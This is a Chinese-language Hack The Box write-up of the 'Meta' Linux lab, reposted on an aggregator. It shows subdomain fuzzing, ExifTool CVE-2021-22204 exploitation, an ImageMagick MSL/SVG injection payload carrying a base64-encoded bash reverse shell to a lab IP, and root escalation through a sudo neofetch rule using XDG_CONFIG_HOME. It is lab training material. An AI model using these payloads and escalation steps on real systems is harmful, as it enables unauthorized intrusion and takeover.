【Hack The Box】linux练习-- Meta

news2024/11/26 8:18:42

HTB 学习笔记

【Hack The Box】linux练习-- Meta


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 域名爆破
    • http://dev01.artcorp.htb/
    • Exiftool 漏洞利用
    • www-> thomas
    • Imagemagick Shell 注入
    • thomas->root
    • Privilege Escalation through Sudo Right Exploitation.

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

artcorp.htb
添加到host
在这里插入图片描述
除此之外什么都没有
其他页面也不离开本站

域名爆破

 wfuzz -u http://10.10.11.140 -H "Host: FUZZ.artcorp.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 0

artcorp.htb dev01.artcorp.htb

添加到hosts

http://dev01.artcorp.htb/

在这里插入图片描述
查看图片元数据的
与exifool一致
而它存在一直漏洞,但我还是要同时进行一下其他部分,防止掉入兔子洞
这个的利用在后面说
接着爆破一下目录

feroxbuster -u http://dev01.artcorp.htb/metaview -x php
301      GET        7l       20w      242c http://dev01.artcorp.htb/metaview => http://dev01.artcorp.htb/metaview/
403      GET        7l       20w      199c http://dev01.artcorp.htb/.php
301      GET        7l       20w      246c http://dev01.artcorp.htb/metaview/lib => http://dev01.artcorp.htb/metaview/lib/
301      GET        7l       20w      250c http://dev01.artcorp.htb/metaview/uploads => http://dev01.artcorp.htb/metaview/uploads/
301      GET        7l       20w      249c http://dev01.artcorp.htb/metaview/assets => http://dev01.artcorp.htb/metaview/assets/
301      GET        7l       20w      246c http://dev01.artcorp.htb/metaview/css => http://dev01.artcorp.htb/metaview/css/
200      GET       33l       83w     1404c http://dev01.artcorp.htb/metaview/index.php
403      GET        7l       20w      199c http://dev01.artcorp.htb/metaview/.php
301      GET        7l       20w      249c http://dev01.artcorp.htb/metaview/vendor => http://dev01.artcorp.htb/metaview/vendor/
200      GET        0l        0w        0c http://dev01.artcorp.htb/metaview/vendor/autoload.php
301      GET        7l       20w      258c http://dev01.artcorp.htb/metaview/vendor/composer => http://dev01.artcorp.htb/metaview/vendor/composer/
200      GET       56l      398w     2919c http://dev01.artcorp.htb/metaview/vendor/composer/LICENSE

uploads
composer
composer是一个php包管理器
https://getcomposer.org/

在这里插入图片描述
在这里插入图片描述

Exiftool 漏洞利用

这个工具就不说了,我也在用
非常熟悉的一款工具
它存在CVE-2021-22204

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

这边文章是一个关于他的漏洞报告

而哦我们呢采用

https://github.com/UNICORDev/exploit-CVE-2021-22204

这个exp
好用
sudo apt install djvulibre-bin //环境配置,必要的

python exp.py -c id

在这里插入图片描述会生成一个图片
我们传上去分析就行了
在这里插入图片描述

然后正常把命令改成反弹shell命令就行了

在这里插入图片描述

www-> thomas

建立一个稳定的终端

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

$ ^Z #CTRL+Z to background the shell

$ stty raw -echo

$ fg # Plus two times enter

$ export TERM=xterm

$ stty rows 51 columns 173

在我枚举了常见的一些目录之后,并没有像之前那样找到thomas的凭据,所以我进行了pspy的进程枚举
发现了定期执行的sh脚本

www-data@meta:/dev/shm$ ./pspy64               
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓                   
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░        
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░        
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░        
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                                                                  
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░         
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░          
                   ░           ░ ░             
                               ░ ░ 
...[snip]...
2022/06/03 16:35:01 CMD: UID=0    PID=3079   | /usr/sbin/CRON -f 
2022/06/03 16:35:01 CMD: UID=0    PID=3078   | /usr/sbin/CRON -f 
2022/06/03 16:35:01 CMD: UID=0    PID=3080   | /bin/sh -c rm /tmp/* 
2022/06/03 16:35:01 CMD: UID=0    PID=3082   | /usr/sbin/CRON -f 
2022/06/03 16:35:01 CMD: UID=???  PID=3081   | ???
2022/06/03 16:35:01 CMD: UID=1000 PID=3084   | /usr/local/bin/mogrify -format png *.* 
2022/06/03 16:35:01 CMD: UID=1000 PID=3083   | /bin/bash /usr/local/bin/convert_images.sh 
2022/06/03 16:35:01 CMD: UID=1000 PID=3085   | pkill mogrify 
...[snip]...

这个脚本可能和mogrify 联动,因为先杀死mogrify ,然后调用脚本,然后紧接着mogrify 启动了一个服务

convert_images.sh 内容

#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

他大致的操作如下
进到放图片的位置,然后运行mogrify -format png .
然后杀死mogrify
那么现在主要的动作就是
mogrify -format png .
这是在干什么呢
查询得到

mogrify是 ImageMagick 工具套件的一部分,并可以:

调整图像大小、模糊、裁剪、去斑、抖动、绘制、翻转、合并、重新采样等等。 此工具与 magick 类似,不同之处在于原始图像文件会 覆盖
选项更改文件后缀)。 (除非您使用-format 被您请求的任何更改)

mogrify -version
在这里插入图片描述

Imagemagick Shell 注入

ImageMagick 7.0.10-36

搜索“mogrify CVE”并没有发现太多有趣之处,但搜索“imagemagick 7.0.10-36 exploit”会发现许多帖子都在谈论 XML 注入

它作为可缩放矢量图形 (SVG) 文件和 ImageMagick 脚本语言 (MSL) 文件都是有效的。

<image authenticate='ff" `echo $(id)> /tmp/id.txt`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

文件名是poc.svg

convert_images.sh脚本提到要先进入处理的文件夹
cd /var/www/dev01.artcorp.htb/convert_images
然后我们wget上传
然后执行命令

mogrify -format png *.*    

在这里插入图片描述但是他还是www

又等了一会发现已经被杀掉了

那可能就是要等他脚本自己运行

过了一分钟成功获取

现在更改一下脚本

echo 'bash  -i >& /dev/tcp/10.10.14.6/444 0>&1 ' | base64
<image authenticate='ff" `echo "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDQgMD4mMSAK" | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:mog-shell.svg" height="100" width="100"/>
  </svg>
</image>

然后我们本地获取到反弹shell

thomas->root

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

这 ""最后的设计是为了防止在运行时添加任何其他参数 sudo.

我也会注意到 env_keep+=XDG_CONFIG_HOME已设置。 env_keep定义在用户更改时保留的环境变量。 XDG_CONFIG_HOME是 存储用户配置的目录 :

$XDG_CONFIG_HOME定义应存储用户特定配置文件的基本目录。 如果 $XDG_CONFIG_HOME未设置或为空,默认等于 $HOME/.config 应该被使用。

在 Meta 上,对于 thomas,它是空的:

thomas@meta:~$ echo "$XDG_CONFIG_HOME"

thomas@meta:~$ echo "$HOME"
/home/thomas

本来应该是这样的

TF=$(mktemp)
echo 'exec /bin/sh' >$TF
neofetch --config $TF

但是由于
env_keep+=XDG_CONFIG_HOME的设置,我无法修改$TF

https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
这篇文章中详细说明了这种情况

Privilege Escalation through Sudo Right Exploitation.

根据上面的解释如果 $XDG_CONFIG_HOME变量 未设置 或 为空 ,它将使用默认配置文件,即 /root/.config. 但是如果它被 设置 了,我们可以强制它( $neofetch )使用任何其他用户的配置文件。 如果我们强制 $ neofetch使用 thomas 主目录中的配置文件,即 /home/thomas/.config. 如果我们能够这样做,那么我们可以在里面注入我们的反向 shell ,config.conf文件存在于目录中 /home/thomas/.config/neofetch/. 当我们运行时 /usr/bin/neofetch ""命令以 sudo运行, config.conf 文件也将以 root 用户权限执行。 当我按照相同的方式操作时

thomas@meta:~$ echo "$HOME"
/home/thomas

注意,我在下面的代码中设置的XDG_CONFIG_HOME=“ H O M E / . c o n f i g " 基 于 上 面 的 代 码 中 得 到 的 " HOME/.config" 基于上面的代码中得到的" HOME/.config""HOME”
你也可以直接指向设置例如
XDG_CONFIG_HOME=~/.config

$ export XDG_CONFIG_HOME="$HOME/.config" 
$ echo "/bin/bash" >> /home/thomas/.config/neofetch/config.conf 
$ sudo /usr/bin/neofetch \"\" 
# whoami && id 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42667.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]计算机毕业设计springboot“科教兴国”支教门户网站

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

复旦MBA项目GNW海外课程|连线全球顶尖商学院,跨时空学习精彩无限!

10月下旬&#xff0c;复旦MBA为期一周的GNW海外课程落下帷幕&#xff0c;复旦在职MBA的同学们通过云端连线&#xff0c;走进全球多所顶级商学院&#xff0c;与深谙商道、学术造诣深厚的教授学者&#xff0c;以及来自不同地域不同文化背景的精英学生取经论道。      复旦MBA…

深入理解死锁问题

死锁问题&#x1f3de;️1. 死锁概念&#x1f301;2. 为什么发生死锁&#x1f320;3. 产生死锁的条件&#x1f301;4. 如何避免死锁&#x1f4d6;4.1 循环等待&#x1f4d6;4.2 持有并等待&#x1f4d6;4.3 非抢占&#x1f4d6;4.4 互斥&#x1f33f;5. 通过调度避免死锁&#…

【Python开发】一文详解Flask-Login

一文详解Flask-LoginFlask-Login 为 Flask 提供用户会话管理。它处理登录、注销和长时间记住用户会话等常见任务。 Flask-Login 不绑定到任何特定的数据库系统或权限模型。唯一的要求是您的 用户对象实现一些方法&#xff0c;并且您向能够 从用户 ID 加载用户 的扩展提供回调。…

Kotlin 开发Android app(十二):Android布局FrameLayout和ViewPager2控件实现滚动广告栏

在上一节中我们简单的介绍了RecyclerView 的使用&#xff0c;他是整个开发的重点控件&#xff0c;这一节我们来看看FrameLayout 布局结合ViewPager2&#xff0c;开发一个广告控件。 新模块banner 先创建一个新的模块&#xff0c;取名为banner&#xff0c;用来创建我们的滚动广…

Spring Boot自定义Namespace

Spring Boot 自定义Namespace 在学些Spring Boot 自定义Namespace之前&#xff0c;先来看一个简单的案例。在Spring Boot出现之前&#xff0c;所有的bean都是在XML文件的格式 中定义。为了管理方便&#xff0c;一些大型复杂的应用系统&#xff0c;通常定个多个xml文件来共同满…

【笑小枫的按步照搬系列】JDK8下载安装配置

笑小枫&#x1f495; 欢迎来到笑小枫的世界&#xff0c;喜欢的朋友关注一下我呦&#xff0c;大伙的支持&#xff0c;就是我坚持写下去的动力。 微信公众号&#xff1a;笑小枫 笑小枫个人博客&#xff1a;https://www.xiaoxiaofeng.com 一、安装 1、方式一&#xff1a;进入官网…

Apifox:成熟的测试工具要学会自己写接口文档

好家伙&#xff0c; 在开发过程中&#xff0c;我们总是避免不了进行接口的测试&#xff0c; 而相比手动敲测试代码&#xff0c;使用测试工具进行测试更为便捷&#xff0c;高效 今天发现了一个非常好用的接口测试工具Apifox 相比于Postman&#xff0c;他还拥有一个非常nb的功…

读《基于深度学习的跨视角步态识别算法研究》

2020 背景&#xff1a; 作为一种新兴的识别技术&#xff0c;步态识别具有在非受控、远距离、低分辨率的场景下进行身份识别的优点&#xff0c;并且步态不易改变和伪装&#xff0c;所以近年来得到的关注逐渐增多。 步态识别作为一种新兴的身份识别技术&#xff0c;可以根据人…

jsp美食管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 美食管理系统 是一套完善的web设计系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统采用serlvet dao bean mvc模式开发&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式 开发。开发环境为TOMCAT7.0,Myeclipse8…

ZYNQ之FPGA学习----UART串口实验

1 UART串口简介 UART串口基础知识学习&#xff1a;硬件设计基础----通信协议UART 2 实验任务 上位机通过串口调试助手发送数据给 Zynq&#xff0c;Zynq PL 端通过 RS232 串口接收数据并将接收到的数据发送给上位机&#xff0c;完成串口数据环回&#xff0c;管脚分配如下&…

软件测试的分类

这里先讲一些概念&#xff0c;改日从这里边挑几个细讲。&#xff08;给小白看的&#xff09; 按测试对象划分&#xff1a; 界面测试&#xff1a; 软件只是一种工具&#xff0c;软件与人的信息交流是通过界面来进行的&#xff0c;界面是软件与用户交流的最直接的一层&#xff…

基于二次近似(BLEAQ)的双层优化进化算法_matlab程序

参考文献如上。 双层优化问题是一类具有挑战性的优化问题&#xff0c;包含两个层次的优化任务。在这些问题中&#xff0c;下层问题的最优解成为上层问题的可能可行候选。这样的要求使得优化问题难以解决&#xff0c;并使研究人员忙于设计能够有效处理该问题的方法。尽管付出了…

Redis常见面试问题总结

文章目录Redis 基础面试说说你对Redis的了解?说说Redis中的数据类型&#xff1f;说说Redis数据类型对应的数据结构&#xff1f;说说Redis对应的Java客户端有哪些&#xff1f;说说Redis 中持久化发生了什么&#xff1f;说说Redis中持久化以及方式&#xff1f;如何理解Redis中RD…

2022年超实用的推特营销策略

Twitter推广需知的13条基础知识&#xff1a; 1、Twitter日活用户达1亿 2、Twitter月活用户3.25亿 3、Twitter广告价格比其他渠道便宜33% 4、每天产生5亿条推文 5、Twitter推广能够提高29%的线下交易 6、37%的Twitter用户在18到29岁之间 7、86%的带链接推文会比普通推文效…

JUC并发编程与源码分析笔记03-CompletableFuture

Future接口理论知识复习 Future接口&#xff08;FutureTask实现类&#xff09;定义了操作异步任务执行的一些方法&#xff0c;如获取异步任务的执行结果、取消任务的执行、判断任务是否被取消、判断任务执行是否完毕等。 找到java.util.concurrent.Future&#xff0c;看到里面…

Node.js 入门教程 22 将所有 Node.js 依赖包更新到最新版本

Node.js 入门教程 Node.js官方入门教程 Node.js中文网 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删 文章目录Node.js 入门教程22 将所有 Node.js 依赖包更新到最新版本22 将所有 Node.js 依赖包更新到最新版本 当使用 npm install <packagename&g…

pytorch 手写数字识别1

目录 概述 加载图片 绘图部分 backward 前言&#xff1a; 这里以一个手写数字识别的例子,简单了解一下pytorch 实现神经网络的过程. 本章重点讲一下加载数据过程 参考&#xff1a; 课时9 手写数字识别初体验-1_哔哩哔哩_bilibili Pytorch中的backward函数 - …

为了让线上代码可追溯, 我开发了这个vite插件

人生的第一个vite插件 前言 想在控制台输出一下前端代码的一些构建信息&#xff0c; 比如打包时间、打包的人, 代码分支、commit是那个&#xff0c;方便在控制台追溯。 背景 遇到的问题 1、场景一 前端多人协同开发的情况下&#xff0c;比方测试站&#xff0c; 你发的代码…

Java 反射系列 —— 学习笔记

Java 反射系列 1. 类成员 为了更好的描述&#xff0c;我们做个约定个通配符 XXXX&#xff0c; 如果是成员变量就代表 Field&#xff0c;如果是类方法就代表 Method&#xff0c;如果是构造器就代表 Constructor。 1.1 获取方法 那么怎么获取到这三类成员呢&#xff1f; 获…